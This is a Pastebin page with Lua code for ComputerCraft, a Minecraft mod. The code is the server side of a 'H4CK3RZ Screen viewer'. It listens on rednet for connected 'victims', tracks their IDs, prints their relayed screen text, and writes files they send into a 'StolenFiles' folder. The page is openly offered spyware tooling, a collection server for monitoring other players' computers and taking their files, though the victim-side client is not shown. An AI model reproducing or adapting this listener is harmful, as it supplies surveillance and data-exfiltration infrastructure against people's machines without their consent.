Advertisement
PaymentOption

screenViewerServer

May 8th, 2012
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 3.17 KB | None | 0 0
  1. -- H4CK3RZ Screen viewer by PaymentOption; Server Side --
  2. VERSION = "Alpha 0.0.1"
  3. --------------------------------------------
  4.  
  5. rednet.open("top"); rednet.open("bottom")
  6. rednet.open("right"); rednet.open("left")
  7. rednet.open("back")
  8.  
  9. -- VARS --
  10. victimCode = "82d5sf"
  11. lineNum = 2
  12. tConnected = {}
  13. ----------
  14.  
  15. -- Helper Functions --
  16. function cPrint(height, string)
  17.     local w, h = term.getSize()
  18.     local xPosition = w/2 - string.len(string)/2
  19.    
  20.     term.setCursorPos(xPosition, height)
  21.     term.write(string)
  22. end
  23.  
  24. function rPrint(height, string)
  25.     local w,h = term.getSize()
  26.     local xPos = w - string.len(string)
  27.    
  28.     term.setCursorPos(xPos, height)
  29.     term.write(string)
  30. end
  31.  
  32. function clear() term.clear(); term.setCursorPos(1,1) end
  33.  
  34. function split(str, pat)
  35.    local t = {}  -- NOTE: use {n = 0} in Lua-5.0
  36.    local fpat = "(.-)" .. pat
  37.    local last_end = 1
  38.    local s, e, cap = str:find(fpat, 1)
  39.    while s do
  40.       if s ~= 1 or cap ~= "" then
  41.      table.insert(t,cap)
  42.       end
  43.       last_end = e+1
  44.       s, e, cap = str:find(fpat, last_end)
  45.    end
  46.    if last_end <= #str then
  47.       cap = str:sub(last_end)
  48.       table.insert(t, cap)
  49.    end
  50.    return t
  51. end
  52.  
  53. function checkOriginality(sender)
  54.     for i=1, #tConnected do
  55.         if tConnected[i] == sender then return false end
  56.     end
  57.     return true
  58. end
  59. ----------------------
  60.  
  61. -- Network Functions --
  62. function getVictimScreen()
  63.     local index = 2; local tReceived = {} -- How we will tell if they are our victim or not
  64.     clear(); --[[term.setCursorPos(1,1); write("Victim ID "..sender);--]] rPrint(18, "Version: "..VERSION)
  65.     shell.run("mkdir", "StolenFiles"); local tStolen = fs.list("StolenFiles")
  66.    
  67.     while true do
  68.         term.setCursorPos(1,1); term.clearLine()
  69.         write("Connected Victims: ")
  70.         for i=1, #tConnected do
  71.             write(" "..tostring(tConnected[i]..","))
  72.         end
  73.        
  74.         index = 2
  75.         sender, message = rednet.receive()
  76.        
  77.         if checkOriginality(sender) then tConnected[#tConnected+1] = sender end
  78.        
  79.         tReceived = {}
  80.         tReceived = split(tostring(message), " ")
  81.         term.setCursorPos(1,1); --[[write("Victim ID "..sender);--]] local nTime = os.time(); rPrint(18, "Version: "..VERSION)
  82.        
  83.         if tReceived[1] == victimCode then
  84.             if tReceived[2] == "FILE" then
  85.                 local file = fs.open("StolenFiles/file"..#tStolen+1, "w")
  86.                 rednet.send(sender, "ready"); sender, message = rednet.receive(0.3)
  87.                 file.write(tostring(message)); file.close()
  88.                 term.setCursorPos(1, lineNum+1); term.clearLine(); write(textutils.formatTime( nTime, false )..": File downloaded as StolenFiles/file"..#tStolen+1)
  89.                 lineNum = lineNum+1
  90.             end
  91.            
  92.             term.setCursorPos(1, lineNum+1); term.clearLine(); write("ID:"..sender.." :"..textutils.formatTime( nTime, false )..": ")
  93.             repeat if tReceived[2] ~= "FILE" then write(" "..tReceived[index]); index = index+1; end; until index == #tReceived+1
  94.             lineNum = lineNum+1
  95.             if lineNum > 16 then
  96.                 term.setCursorPos(1, 18); term.clearLine(); rPrint(18, "Version: "..VERSION)
  97.                 clear(); lineNum = 2
  98.             end
  99.         end
  100.     end
  101. end
  102. -----------------------
  103.  
  104. clear()
  105. while message ~= "connect" do
  106.     cPrint(6, "Awaiting victims..."); sender, message = rednet.receive()
  107. end
  108. tConnected[1] = sender; getVictimScreen()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement